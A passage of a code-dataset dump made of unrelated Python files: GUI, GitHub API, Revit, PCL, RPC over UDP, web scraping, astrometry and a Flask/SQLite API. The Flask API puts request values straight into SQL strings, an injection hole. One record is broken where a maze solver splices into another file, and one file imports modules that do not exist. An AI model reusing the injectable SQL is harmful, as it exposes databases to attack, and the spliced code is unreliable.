WIKI results\noutput_display = ScrolledText(window, wrap=WORD, height=9, width=90)\n# output_display is placed using .grid\noutput_display.grid(row=8, column=0, columnspan=5, padx=5, pady=5)\n\n# needed for GUI\nwindow.mainloop()\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"24734232","text":"\"\"\"\n/github/abc/closable.py\n\n Copyright (c) 2019-2020 ShineyDev\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n\nfrom github import utils\n\n\nclass Closable():\n \"\"\"\n Represents an object which can be closed.\n\n Implemented by:\n\n * :class:`~github.Issue`\n * :class:`~github.PullRequest`\n \"\"\"\n\n # https://docs.github.com/en/graphql/reference/interfaces#closable\n\n __slots__ = ()\n\n @property\n def closed_at(self):\n \"\"\"\n When the closable was last closed.\n\n :type: :class:`~datetime.datetime`\n \"\"\"\n\n closed_at = self.data[\"closedAt\"]\n return utils.iso_to_datetime(closed_at)\n\n @property\n def is_closed(self):\n \"\"\"\n Whether the closable is closed.\n\n :type: :class:`bool`\n \"\"\"\n\n return self.data[\"closed\"]\n\n async def close(self):\n \"\"\"\n |coro|\n\n Closes the closable.\n\n Raises\n ------\n ~github.errors.Forbidden\n You do not have permission to close the closable.\n \"\"\"\n\n # https://docs.github.com/en/graphql/reference/mutations#closeissue\n # https://docs.github.com/en/graphql/reference/mutations#closepullrequest\n\n map = {\n \"Issue\": self.http.mutate_issue_close,\n \"PullRequest\": self.http.mutate_pullrequest_close,\n }\n\n await map[self.data[\"__typename\"]](self.id)\n\n async def reopen(self):\n \"\"\"\n |coro|\n\n Reopens the closable.\n\n Raises\n ------\n ~github.errors.Forbidden\n You do not have permission to reopen the closable.\n \"\"\"\n\n # https://docs.github.com/en/graphql/reference/mutations#reopenissue\n # https://docs.github.com/en/graphql/reference/mutations#reopenpullrequest\n\n map = {\n \"Issue\": self.http.mutate_issue_reopen,\n \"PullRequest\": self.http.mutate_pullrequest_reopen,\n }\n\n await map[self.data[\"__typename\"]](self.id)\n","sub_path":"github/abc/closable.py","file_name":"closable.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"84702075","text":"class ParentCalc(object):\n def __init__(self, value):\n print(\"Into parent\")\n self.value = value\n def calculate(self):\n return self.value * 2 + 20\n\n\nclass ChildCalc(ParentCalc):\n def __init__(self, value, k=2):\n super().__init__(value)\n print(\"Into Child\")\n self.k = k\n def calculate(self):\n a = self.k + 1\n previous_calc = super().calculate()\n return -1 * self.k * previous_calc\n\nx = ParentCalc(15)\nprint(x.calculate())\n\ne = ChildCalc(15, k=5)\nprint(e.calculate())\n\nprint(ChildCalc.__mro__)\n# method resolution order\n\n\na = 257\nb = 257\na is b #False\n\n# but\n\na = 256\nb = 256\na is b # True\n\n# -5 to 256","sub_path":"lesson6/classwork.py","file_name":"classwork.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"581226111","text":"import System\nimport clr\nclr.AddReference('RevitAPI')\nfrom Autodesk.Revit.DB import *\n\nclr.AddReference(\"RevitServices\")\nimport RevitServices\nfrom RevitServices.Persistence import DocumentManager\n\ndoc = DocumentManager.Instance.CurrentDBDocument\nfamtypes = UnwrapElement(IN[0])\n\nelementlist = list()\nfor ft in famtypes:\n\tcollector = FilteredElementCollector(doc)\n\tbic = System.Enum.ToObject(BuiltInCategory, ft.Category.Id.IntegerValue)\n\tcollector.OfCategory(bic)\n\t# This is a workaround\n\t# because I was to lazy to learn\n\t# how to implement LINQ in Python\n\tftlist = list()\n\tfor item in collector.ToElements():\n\t\tif item.GetTypeId().IntegerValue == ft.Id.IntegerValue:\n\t\t\tftlist.append(item)\n\telementlist.append(ftlist)\nOUT = elementlist","sub_path":"nodes/0.7.x/python/All Elements of Family Type (Universal).py","file_name":"All Elements of Family Type (Universal).py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"315375932","text":"import numpy as np # you can refer to numpy as npy from now on\nimport matplotlib\nimport matplotlib.pyplot as plt # the subpackage we need\n\n# stuff I took from matplotlib.org documentation\n\n# The data \nt = np.arange(0.0, 2.0, 0.01) # creates an array, check doc online\nprint(t.shape)\ns = 1 + np.sin(2 * np.pi * t) # applies sin to every value within range\nprint(s.shape)\n\nfig, ax = plt.subplots()\nax.plot(t, s)\n\nax.set(xlabel='time (s)', ylabel='voltage (mV)',\n title='About as simple as it gets, folks')\nax.grid()\n\nfig.savefig(\"test.png\") #how to save\nplt.show() #draws current figure ","sub_path":"matplotexample.py","file_name":"matplotexample.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"493115412","text":"from collections import deque\nclass Solution(object):\n def hasPath(self, maze, start, destination):\n \"\"\"\n :type maze: List[List[int]]\n :type start: List[int]\n :type destination: List[int]\n :rtype: bool\n \"\"\"\n# BFS\n queue = deque([(start[0],start[1])])\n seen = set()\n row = len(maze)\n col = len(maze[0])\n seen.add((start[0],start[1]))\n while queue:\n for _ in range(len(queue)):\n currR, currC = queue.popleft()\n if currR == destination[0] and currC == destination[1]:\n return True\n for dr, dc in ((1,0),(0,1),(-1,0),(0,-1)):\n newR = currR\n newC = currC\n while 0<=newR str:\n \"\"\"\n _id getter.\n :return: str\n \"\"\"\n return str(self._id)\n\n @property\n def blocks(self) -> list:\n \"\"\"\n _blocks getter.\n :return: list\n \"\"\"\n return copy.deepcopy(self._blocks)\n\n @property\n def subject(self) -> dict:\n \"\"\"\n _subject getter.\n :return: dict\n \"\"\"\n return self._subject\n\n @property\n def body(self) -> str:\n \"\"\"\n _body getter.\n :return: str\n \"\"\"\n return self._body\n\n @staticmethod\n def generate_message_id():\n \"\"\"\n Should think of a way to generate message ids in order to keep\n them unique but to be easily mappable to its blocks.\n :return: int | string\n \"\"\"\n return 'M' + str(int(time.time() * 10000000))\n\n @staticmethod\n def match_block_with_message(block, messages):\n \"\"\"\n\n :param block: Block\n :param messages: list\n \"\"\"\n pass\n\n def update_subject(self, sbj=None, **kwargs):\n \"\"\"\n Subject setter.\n :param sbj: dict\n :param kwargs: dict\n \"\"\"\n if sbj:\n self._subject.update(sbj)\n self._subject.update(kwargs)\n\n def add(self, text: str) -> None:\n \"\"\"\n Wraps a piece of this Message in a Block.\n :param text: str\n :return: None\n \"\"\"\n # Init a new Block with the text arg and a new id\n bid = Block.generate_block_id(self)\n subjectcopy = copy.copy(self.subject)\n subjectcopy.update({\n 'block_id': bid,\n 'message_id': self.id\n })\n block = Block(bid,\n subject=subjectcopy,\n text=text)\n\n block.set_message(self) # Set self as the message of the new Block\n\n self._blocks.append(block) # Add the new Block to this Message (self) blocks\n\n def unwrap(self, body: str) -> None:\n \"\"\"\n Builds the blocks of a message. Given a text, unwrap() cuts it\n in pieces and makes them blocks of self (an instance of Message)\n :param body: str\n :return: None\n \"\"\"\n for item in cut(body):\n self.add(item)\n\n def send(self,\n broker,\n addr: str,\n user: User):\n \"\"\"\n This methods represents the process of sending this message,\n which is unwrapping it (unwrap method) and enqueueing it.\n This describes a subject:\n subject = {\n 'message_id': msg.id,\n 'block_id': block.index,\n 'topic': one of [ REGISTER, LOGIN, PUBLICATION, SUBCRIBE, P2P, CMD, ANSWER ],\n 'protocol': one of [ 1, 2, 3 ] ( PUB/SUB, CONFIG, RPC ),\n 'cmd': one of [],\n 'args': a list of args for the cmd,\n 'node': node identifier in chord\n }\n :param broker: Broker\n :param addr: str\n :param user: User\n :return: None\n \"\"\"\n\n # If the length of the blocks prop is 0, the message has not been unwrapped\n # if not len(self):\n # self.unwrap(self.body)\n\n # Enqueue each of the blocks of self as EmailMessage instances\n for block in self.blocks:\n logger.info(f'++++++++++++++++++{block.message}')\n # block['Subject'] = json.dumps(block.subject, separators=(',', ':')) # Make it a json for ease of parsing\n block['From'] = f'{user.active_email}'\n block['To'] = addr\n broker.send(block)\n\n # for addr in addresses:\n # broker.send(addr, user, subject, str(block) + '##NumberOfBlocks##' + str(len(blocks)))\n\n\ndef test():\n m = Message()\n\n m.add('Hola!!')\n m.add('Hi!!')\n m.add('Bonjour!!')\n\n logger.info(m)\n\n\nif __name__ == '__main__':\n test()\n","sub_path":"ebmc/core/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":4786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"541242051","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Dec 11 15:20:49 2018\r\n\r\n@author: bimta\r\n\"\"\"\r\n\r\nimport pcl\r\n\r\ncloud = pcl.load('./Data/table_scene.pcd')\r\n\r\nprint(cloud.size)\r\n\r\nfil = cloud.make_passthrough_filter()\r\nfil.set_filter_field_name(\"z\")\r\nfil.set_filter_limits(0, 1.5)\r\ncloud_filtered = fil.filter()\r\n\r\nprint(cloud_filtered.size)\r\n\r\nseg = cloud_filtered.make_segmenter_normals(ksearch=50)\r\nseg.set_optimize_coefficients(True)\r\nseg.set_model_type(pcl.SACMODEL_NORMAL_PLANE)\r\nseg.set_normal_distance_weight(0.1)\r\nseg.set_method_type(pcl.SAC_RANSAC)\r\nseg.set_max_iterations(100)\r\nseg.set_distance_threshold(0.03)\r\nindices, model = seg.segment()\r\n\r\nprint(model)\r\n\r\ncloud_plane = cloud_filtered.extract(indices, negative=False)\r\n# NG : const char* not str\r\n# cloud_plane.to_file('table_scene_mug_stereo_textured_plane.pcd')\r\n#pcl.save(cloud_plane, 'table_scene_mug_stereo_textured_plane.pcd')\r\n\r\ncloud_cyl = cloud_filtered.extract(indices, negative=True)\r\n\r\nseg = cloud_cyl.make_segmenter_normals(ksearch=50)\r\nseg.set_optimize_coefficients(True)\r\nseg.set_model_type(pcl.SACMODEL_CYLINDER)\r\nseg.set_normal_distance_weight(0.1)\r\nseg.set_method_type(pcl.SAC_RANSAC)\r\nseg.set_max_iterations(10000)\r\nseg.set_distance_threshold(0.05)\r\nseg.set_radius_limits(0, 0.1)\r\nindices, model = seg.segment()\r\n\r\nprint(model)\r\n\r\ncloud_cylinder = cloud_cyl.extract(indices, negative=False)\r\n# NG : const char* not str\r\n# cloud_cylinder.to_file(\"table_scene_mug_stereo_textured_cylinder.pcd\")\r\n#pcl.save(cloud_cylinder, 'table_scene_mug_stereo_textured_cylinder.pcd')\r\n\r\n\r\nimport pcl.pcl_visualization\r\n# from pcl.pcl_registration import icp, gicp, icp_nl\r\nvisual = pcl.pcl_visualization.CloudViewing()\r\nvisual.ShowMonochromeCloud(cloud_cylinder)\r\nv = True\r\nwhile v:\r\n v=not(visual.WasStopped())","sub_path":"Other/PCL Tutorial.py","file_name":"PCL Tutorial.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"302987880","text":"import re\n\nfrom xml.dom.minidom import parse\n\nfrom harvestingkit.utils import add_nations_field\nfrom harvestingkit.minidom_utils import xml_to_text, get_value_in_tag\nfrom invenio.utils import get_doc_ids, get_filenames_from_directory\n\n\ndef is_elsevier(record):\n fields = ['980', '260']\n for field in fields:\n if field in record:\n for values in record[field][0][0]:\n if 'Elsevier' in values:\n return True\n return False\n\n\ndef author_dic_from_xml(author):\n tmp = {}\n surname = get_value_in_tag(author, \"ce:surname\")\n if surname:\n tmp[\"surname\"] = surname\n given_name = get_value_in_tag(author, \"ce:given-name\")\n if given_name:\n tmp[\"given_name\"] = given_name\n initials = get_value_in_tag(author, \"ce:initials\")\n if initials:\n tmp[\"initials\"] = initials\n orcid = author.getAttribute('orcid').encode('utf-8')\n if orcid:\n tmp[\"orcid\"] = orcid\n emails = author.getElementsByTagName(\"ce:e-address\")\n for email in emails:\n if email.getAttribute(\"type\").encode('utf-8') in ('email', ''):\n tmp[\"email\"] = xml_to_text(email)\n break\n cross_refs = author.getElementsByTagName(\"ce:cross-ref\")\n if cross_refs:\n tmp[\"cross_ref\"] = []\n for cross_ref in cross_refs:\n tmp[\"cross_ref\"].append(\n cross_ref.getAttribute(\"refid\").encode('utf-8'))\n\n return tmp\n\n\ndef _affiliation_from_sa_field(affiliation):\n sa_aff = affiliation.getElementsByTagName('sa:affiliation')[0]\n return xml_to_text(sa_aff, ', ')\n\n\ndef find_affiliations(xml_doc):\n tmp = {}\n for aff in xml_doc.getElementsByTagName(\"ce:affiliation\"):\n aff_id = aff.getAttribute(\"id\").encode('utf-8')\n try:\n tmp[aff_id] = _affiliation_from_sa_field(aff)\n except:\n tmp[aff_id] = re.sub(r'^(\\d+\\ ?)', \"\",\n get_value_in_tag(aff, \"ce:textfn\"))\n\n return tmp\n\n\ndef _add_affiliations(author, affs):\n if affs:\n try:\n author['affiliation'].extend(affs)\n except KeyError:\n author['affiliation'] = affs\n\n return len(affs)\n\n\ndef add_referenced_affiliation(author, affiliations):\n affs = [affiliations[ref] for ref in author.get(\"cross_ref\", [])\n if ref in affiliations]\n\n return _add_affiliations(author, affs)\n\n\ndef add_group_affiliation(author, xml_author):\n affs = [get_value_in_tag(aff, \"ce:textfn\") for aff\n in xml_author.parentNode.getElementsByTagName('ce:affiliation')]\n\n return _add_affiliations(author, affs)\n\n\ndef get_direct_cildren(element, tagname):\n affs = []\n for child in element.childNodes:\n try:\n if child.tagName == tagname:\n affs.append(child)\n except AttributeError:\n pass\n return affs\n\n\ndef add_global_affiliation(author, xml_author):\n affs = []\n # get author group of author, but this is already done in group_affiliation\n parent = xml_author.parentNode\n while True:\n try:\n parent = parent.parentNode\n affs.extend([get_value_in_tag(aff, \"ce:textfn\") for aff\n in get_direct_cildren(parent, 'ce:affiliation')])\n except AttributeError:\n break\n\n return _add_affiliations(author, affs)\n\n\ndef add_affiliations(authors, xml_authors, affiliations):\n for xml_author, author in zip(xml_authors, authors):\n if not add_referenced_affiliation(author, affiliations):\n add_group_affiliation(author, xml_author)\n add_global_affiliation(author, xml_author)\n\n\ndef get_authors(xml_doc):\n xml_authors = xml_doc.getElementsByTagName(\"ce:author\")\n authors = [author_dic_from_xml(author) for author in xml_authors]\n\n add_affiliations(authors, xml_authors, find_affiliations(xml_doc))\n\n return authors\n\n\ndef get_latest_file(path):\n files = get_filenames_from_directory(path, 'xml')\n return sorted(files, key=lambda x: int(x.split(';')[1]))[-1]\n\n\ndef delete_fields(record, fields):\n for field in fields:\n try:\n del record[field]\n except KeyError:\n pass\n\n\ndef check_records(records, empty=False):\n fields = ['100', '700']\n filepath = \"/opt/invenio/var/data/files/g0/\"\n first_author = True\n\n for record in records:\n if is_elsevier(record):\n doc_ids = get_doc_ids(int(record.record_id))\n for doc_id in doc_ids:\n latest_file = get_latest_file(filepath + str(doc_id) + '/')\n xml = parse(latest_file)\n authors = get_authors(xml)\n\n delete_fields(record, fields)\n\n for author in authors:\n field = '100' if first_author else '700'\n first_author = False\n\n subfields = []\n author_name = (author['surname'], author.get(\n 'given_name') or author.get('initials'))\n author_name = ('a', '%s, %s' % author_name)\n subfields.append(author_name)\n\n if 'orcid' in author:\n subfields.append(('j', author['orcid']))\n\n if 'affiliation' in author:\n for aff in author[\"affiliation\"]:\n subfields.append(('v', aff))\n\n add_nations_field(subfields)\n\n if author.get('email'):\n subfields.append(('m', author['email']))\n\n record.add_field(field+'__',\n value='',\n subfields=subfields)\n","sub_path":"bibcheck_plugins/chk_fix_bad_elsevier_affiliations.py","file_name":"chk_fix_bad_elsevier_affiliations.py","file_ext":"py","file_size_in_byte":5702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"638182190","text":"import asyncio\nimport logging\nimport os\nfrom base64 import b64encode\nfrom hashlib import sha1\n\nimport umsgpack\n\nfrom rpcudp.exceptions import MalformedMessage\n\nlog = logging.getLogger(__name__)\n\n\nclass RPCProtocol(asyncio.DatagramProtocol):\n def __init__(self, waitTimeout=5):\n \"\"\"\n @param waitTimeout: Consider it a connetion failure if no response\n within this time window.\n \"\"\"\n self._waitTimeout = waitTimeout\n self._outstanding = {}\n self.transport = None\n\n def connection_made(self, transport):\n self.transport = transport\n\n def datagram_received(self, data, addr):\n log.debug(\"received datagram from %s\", addr)\n asyncio.ensure_future(self._solveDatagram(data, addr))\n\n @asyncio.coroutine\n def _solveDatagram(self, datagram, address):\n if len(datagram) < 22:\n log.warning(\"received datagram too small from %s,\"\n \" ignoring\", address)\n return\n\n msgID = datagram[1:21]\n data = umsgpack.unpackb(datagram[21:])\n\n if datagram[:1] == b'\\x00':\n # schedule accepting request and returning the result\n asyncio.ensure_future(self._acceptRequest(msgID, data, address))\n elif datagram[:1] == b'\\x01':\n self._acceptResponse(msgID, data, address)\n else:\n # otherwise, don't know the format, don't do anything\n log.debug(\"Received unknown message from %s, ignoring\", address)\n\n def _acceptResponse(self, msgID, data, address):\n msgargs = (b64encode(msgID), address)\n if msgID not in self._outstanding:\n log.warning(\"received unknown message %s \"\n \"from %s; ignoring\", *msgargs)\n return\n log.debug(\"received response %s for message \"\n \"id %s from %s\", data, *msgargs)\n f, timeout = self._outstanding[msgID]\n timeout.cancel()\n f.set_result((True, data))\n del self._outstanding[msgID]\n\n @asyncio.coroutine\n def _acceptRequest(self, msgID, data, address):\n if not isinstance(data, list) or len(data) != 2:\n raise MalformedMessage(\"Could not read packet: %s\" % data)\n funcname, args = data\n f = getattr(self, \"rpc_%s\" % funcname, None)\n if f is None or not callable(f):\n msgargs = (self.__class__.__name__, funcname)\n log.warning(\"%s has no callable method \"\n \"rpc_%s; ignoring request\", *msgargs)\n return\n\n if not asyncio.iscoroutinefunction(f):\n f = asyncio.coroutine(f)\n response = yield from f(address, *args)\n log.debug(\"sending response %s for msg id %s to %s\",\n response, b64encode(msgID), address)\n txdata = b'\\x01' + msgID + umsgpack.packb(response)\n self.transport.sendto(txdata, address)\n\n def _timeout(self, msgID):\n args = (b64encode(msgID), self._waitTimeout)\n log.error(\"Did not received reply for msg \"\n \"id %s within %i seconds\", *args)\n self._outstanding[msgID][0].set_result((False, None))\n del self._outstanding[msgID]\n\n def __getattr__(self, name):\n \"\"\"\n If name begins with \"_\" or \"rpc_\", returns the value of\n the attribute in question as normal.\n\n Otherwise, returns the value as normal *if* the attribute\n exists, but does *not* raise AttributeError if it doesn't.\n\n Instead, returns a closure, func, which takes an argument\n \"address\" and additional arbitrary args (but not kwargs).\n\n func attempts to call a remote method \"rpc_{name}\",\n passing those args, on a node reachable at address.\n \"\"\"\n if name.startswith(\"_\") or name.startswith(\"rpc_\"):\n return getattr(super(), name)\n\n try:\n return getattr(super(), name)\n except AttributeError:\n pass\n\n def func(address, *args):\n msgID = sha1(os.urandom(32)).digest()\n data = umsgpack.packb([name, args])\n if len(data) > 8192:\n raise MalformedMessage(\"Total length of function \"\n \"name and arguments cannot exceed 8K\")\n txdata = b'\\x00' + msgID + data\n log.debug(\"calling remote function %s on %s (msgid %s)\",\n name, address, b64encode(msgID))\n self.transport.sendto(txdata, address)\n\n loop = asyncio.get_event_loop()\n if hasattr(loop, 'create_future'):\n f = loop.create_future()\n else:\n f = asyncio.Future()\n timeout = loop.call_later(self._waitTimeout, self._timeout, msgID)\n self._outstanding[msgID] = (f, timeout)\n return f\n\n return func\n","sub_path":"rpcudp/protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":4830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"231597910","text":"from flask import Flask, request, render_template, url_for\nfrom flask_restful import Resource, Api\nfrom sqlalchemy import create_engine\nfrom createThePlot import main_plot\nimport requests\nimport matplotlib.pyplot as plt\n\n\ndb_connect = create_engine('sqlite:///chinook.db')\napp = Flask(__name__)\napi = Api(app)\n\n\n@app.route('/plot/')\n@app.route('/plot/')\ndef plot_figure(seed='0'):\n main_plot(int(seed))\n image = url_for('static', filename='new_plot.png')\n return render_template('plot.html', image=image)\n\n\n@app.route('/')\ndef welcome_page():\n conn = db_connect.connect()\n table_info = conn.execute(\"pragma table_info(employees)\")\n query = conn.execute(\"select * from employees\")\n return render_template('home.html', table_info=table_info, query=query)\n\n\nclass Employees(Resource):\n def get(self):\n conn = db_connect.connect() # connect to database\n query = conn.execute(\"select * from employees\") # This line performs query and returns json result\n return {'employees': [i for i in query.cursor.fetchall()]}\n\n\nclass Tracks(Resource):\n def get(self):\n conn = db_connect.connect()\n query = conn.execute(\"select trackid, name, composer, unitprice from tracks;\")\n result = {'data': [dict(zip(tuple (query.keys()) ,i)) for i in query.cursor]}\n return result, 201 # returns your desired code\n \n def post(self):\n parse_json = request.get_json()\n conn = db_connect.connect() \n conn.execute(f'insert into tracks (\"Name\", \"Composer\", \"UnitPrice\", \"MediaTypeId\", \"Milliseconds\") values (\\\n \"{parse_json[\"Name\"]}\", \"{parse_json[\"Composer\"]}\", {parse_json[\"UnitPrice\"]}, {parse_json[\"MediaTypeId\"]}, {parse_json[\"Milliseconds\"]});')\n return {\"result\": \"successfully added in tracks\"}\n\n\n'''\n@app.route('/add_track/', methods=['POST'])\ndef addTrackToDatabaseTracksTable():\n parseJson = request.get_json()\n conn = db_connect.connect() \n conn.execute(f'insert into tracks (\"Name\", \"Composer\", \"UnitPrice\", \"MediaTypeId\", \"Milliseconds\") values (\\\n \"{parseJson[\"Name\"]}\", \"{parseJson[\"Composer\"]}\", {parseJson[\"UnitPrice\"]}, {parseJson[\"MediaTypeId\"]}, {parseJson[\"Milliseconds\"]});')\n return {\"result\": \"successfully added in tracks\"}\n'''\n\n\nclass EmployeesDetails(Resource):\n def get(self, employee_id):\n conn = db_connect.connect()\n query = conn.execute(f\"select * from employees where EmployeeId ={employee_id}\")\n result = {'data': [dict(zip(tuple (query.keys()) ,i)) for i in query.cursor]}\n return result\n\n\n############# ROUTING ##############\napi.add_resource(Employees, '/employees/') \napi.add_resource(Tracks, '/tracks/') \napi.add_resource(EmployeesDetails, '/employees//')\n\n\nif __name__ == '__main__':\n app.run(debug=True, port='5002')","sub_path":"tests/api/python_rest/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"201422246","text":"\"\"\"\n1.准备url\n2.发送请求\n3.获取数据\n4.str -》 html的element对象\n5.提取数据\n6.入库\n\"\"\"\n\nimport requests\nfrom lxml import html\nimport os\n\nthing = \"python\"\nurl = \"http://search.dangdang.com/?key={}&act=input\".format(thing)\n\nwhile True:\n response = requests.get(url=url)\n element = html.fromstring(response.text)\n element_ul_list = element.xpath('//*[@id=\"search_nature_rg\"]/ul')\n element_li_list = element_ul_list[0].xpath(\"./li\")\n for li in element_li_list:\n book_name = li.xpath(\"./a/@title\")[0].strip()\n href = li.xpath(\"./a/@href\")[0]\n price_list = li.xpath('./p[@class=\"price\"]/span[@class=\"search_now_price\"]/text()')\n if price_list:\n price = price_list[0]\n else:\n price = li.xpath('./div/p/span/text()')[0]\n\n file = \"dangdnag.txt\"\n mode = \"a\" if os.path.getsize(file) > 0 else \"w\"\n with open(file, mode, encoding=\"utf8\") as f:\n f.write(\"书名:\" + book_name + \"\\n价格:\" + price + \"\\n链接:\" + href + \"\\n\\n\")\n # url = \"http://search.dangdang.com\" + element.xpath('//*[@id=\"12810\"]/div[5]/div[2]/div/ul/li[10]/a/@href')[0]\n next = element.xpath('//*[@title=\"下一页\"]/@href')\n if not next:\n break\n url = \"http://search.dangdang.com\" + next[0]\n print(url)\n\n","sub_path":"xpath/2_dangdang.py","file_name":"2_dangdang.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"219214014","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Sep 27 21:06:27 2015\r\n\r\n@author: josep_000\r\n\"\"\"\r\n\r\nimport float32\r\nimport float64\r\n\r\nanswer1 = 0\r\nanswer2 = 0\r\na = 1\r\nb = 2\r\nc = 3\r\n\r\nanswer1 = (a + b) + c\r\nanswer2 = a + (b + c)","sub_path":"HW2i.py","file_name":"HW2i.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"522277724","text":"#coding=utf-8\r\n\r\n#import pandas as pd\r\n#import numpy as np\r\n#import matplotlib.pyplot as plt\r\n#import tensorflow as tf\r\n\r\nfrom pandas import read_csv\r\nfrom datetime import datetime\r\n\r\n#load datatime\r\ndef parse(x):\r\n\treturn datetime.strptime(x,'%Y %m %d %H')\r\ndataset = read_csv('PRSA_data_2010.1.1-2014.12.31.csv',parse_dates=[['year','month','day','hour']],index_col=0)\r\ndataset.drop('No',axis=1,inplace=True)\r\n\r\n#specify column names\r\ndataset.columns = ['pollution','dew','temp','press','wnd_dir','wnd_spd','snow','rain'] #'year','month','day','hour',\r\ndataset.index.name = 'date'\r\n#make all NA with 0\r\ndataset['pollution'].fillna(0,inplace=True)\r\n#drop first 24 hours\r\ndataset = dataset[24:]\r\n#summarize first 5 rows\r\nprint(dataset.head(10))\r\n#save to file\r\ndataset.to_csv('pollution.csv')\r\n\r\n\r\n","sub_path":"012 tensorflow_多变量时间序列预测模型空气污染预测lstm/1rawdata.py","file_name":"1rawdata.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"339671927","text":"import numpy as np\nimport astropy.coordinates\nfrom astropy import units as u\nfrom astropy.time import Time\nfrom astropy.coordinates import get_body_barycentric\n\n# All units SI\nmSun = 2e30\nlSun = 3.826e26\nkpc = 3e19\nGyr = 3.15e16\nday = 24*(60**2)\nG = 6.67e-11\nAU = 1.496e+11\nc = 299792458\n# e - eccentricity of Earth's orbit\ne = 0.0167\n# T - year in days\nT = 365.2422\n# year - year in seconds\nyear = T*day\n# AU_c - time taken (here given in days) for light to travel from sun to Earth\nAU_c = AU/(c*day)\n# G in units of AU, years and solar masses\nGalt = G * AU**-3 * mSun**1 * year**2\n# mas2rad - conversion factor which multiplies a value in milli-arcseconds to give radians\nmas2rad = 4.8481368110954e-9\n# mas - conversion factor which multiplies a value in milli-arcseconds to give degrees\nmas = mas2rad*180/np.pi\n\n\n# ----------------\n# -User functions\n# ----------------\nclass params():\n def __init__(self):\n # astrometric parameters\n self.RA = 45 # degree\n self.Dec = 45 # degree\n self.pmRA = 0 # mas/year\n self.pmDec = 0 # mas/year\n self.pllx = 1 # mas\n # binary parameters\n self.M = 1 # solar mass\n self.a = 1 # AU\n self.e = 0\n self.q = 0\n self.l = 0 # assumed < 1 (though may not matter)\n self.vTheta = 45\n self.vPhi = 45\n self.vOmega = 0\n self.tPeri = 0 # years\n\n\n# epoch - zero time of observations in BJD (default is dr3 epoch 2016.0 CE)\nepoch = 2457388.5000000\n# I'm v. open to suggestion about better ways to set epoch!\n\n\ndef setEpoch(newEpoch):\n global epoch\n if isinstance(newEpoch, str):\n if 'dr3' in newEpoch.lower():\n epoch = 2457388.50\n if 'dr2' in newEpoch.lower():\n epoch = 2457206.37\n if 'dr1' in newEpoch.lower():\n epoch = 2457023.50\n else:\n epoch = newEpoch\n\n\ndef path(ts, ps, comOnly=False, t0=0):\n N = ts.size\n xij = XijSimple(ts, ps.RA*np.pi/180, ps.Dec*np.pi/180, t0=t0)\n r = np.array([0, 0, ps.pmRA, ps.pmDec, ps.pllx])\n pos = xij@r\n ras, decs = ps.RA+mas*pos[:N], ps.Dec+mas*pos[N:]\n if comOnly == True:\n return ras, decs\n\n # extra c.o.l. correction due to binary\n px1s, py1s, px2s, py2s, pxls, pyls = binaryMotion(\n ts-ps.tPeri, ps.M, ps.q, ps.l, ps.a, ps.e, ps.vTheta, ps.vPhi)\n rls = mas*ps.pllx*(pxls*np.cos(ps.vOmega)+pyls*np.sin(ps.vOmega))\n dls = mas*ps.pllx*(pyls*np.cos(ps.vOmega)-pxls*np.sin(ps.vOmega))\n\n return ras+rls, decs+dls\n\n\n'''def comPath(ts, ps, t0=0):\n dras, ddecs = comSimple(ts, ps.RA*np.pi/180, ps.Dec*np.pi /\n 180, ps.pmRA, ps.pmDec, ps.pllx, t0=t0)\n ras = ps.RA+dras\n decs = ps.Dec+ddecs\n return ras, decs'''\n\n# For more details on the fit see section 1 of Hogg, Bovy & Lang 2010\n\n\ndef fit(ts, ras, decs, astError=1, t0=0):\n # Error precision matrix\n if np.isscalar(astError): # scalar astrometric error given\n astPrec = np.diag((astError**-2)*np.ones(2*ts.size))\n elif len(astError.shape) == 1: # vector astrometric error given\n astPrec = np.diag((astError**-2))\n else:\n astPrec = astError**-2\n # convenient to work entirely in mas, relative to median RA and Dec\n medRa = np.median(ras)\n medDec = np.median(decs)\n diffRa = (ras-medRa)/mas\n diffDec = (decs-medDec)/mas\n # Design matrix\n xij = XijSimple(ts-t0, medRa*np.pi/180, medDec*np.pi/180)\n # Astrometry covariance matrix\n cov = np.linalg.inv(xij.T@astPrec@xij)\n params = cov@xij.T@astPrec@np.hstack([diffRa, diffDec])\n return params, cov\n\n\n'''def fit(ts, ras, decs, astError=1, 